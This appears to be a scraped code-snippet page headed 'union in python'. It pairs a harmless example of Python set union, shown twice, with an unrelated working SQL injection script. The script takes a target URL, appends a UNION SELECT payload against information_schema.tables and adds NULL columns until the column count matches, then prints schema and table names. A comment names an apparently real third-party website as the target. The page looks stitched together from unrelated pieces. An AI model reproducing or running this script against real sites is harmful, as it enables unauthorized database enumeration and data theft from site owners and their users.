union in python

1set1 = {2, 4, 5, 6}  
2set2 = {4, 6, 7, 8}  
3set3 = {7, 8, 9, 10} 
4  
5# union of two sets 
6print("set1 U set2 : ", set1.union(set2)) 
7  
8# union of three sets 
9print("set1 U set2 U set3 :", set1.union(set2, set3)) 
10
11
12>>>
13
14set1 U set2 :  {2, 4, 5, 6, 7, 8}
15set1 U set2 U set3 : {2, 4, 5, 6, 7, 8, 9, 10}

1set1 = {2, 4, 5, 6}  
2set2 = {4, 6, 7, 8}  
3set3 = {7, 8, 9, 10} 
4  
5# union of two sets 
6print("set1 U set2 : ", set1.union(set2)) 
7  
8# union of three sets 
9print("set1 U set2 U set3 :", set1.union(set2, set3)) 

1# pip install requests
2import requests
3
4def main():
5    # http://www.meggieschneider.com/php/detail.php?id=48
6    url = input('Target: ')
7    idx = 0
8    while True:
9        nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
10        if idx > 0:
11            nulls = ', ' + nulls
12        req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
13        print(f'''\n
14            {req}
15            ''')
16        r = requests.get(f'{url}?{req}')
17        if 'The used SELECT statements have a different number of columns' not in str(r.content):
18            print(f'''\n
19            {r.text}
20            ''')
21            break
22        idx = idx + 1
23
24if __name__ == '__main__':
25    main()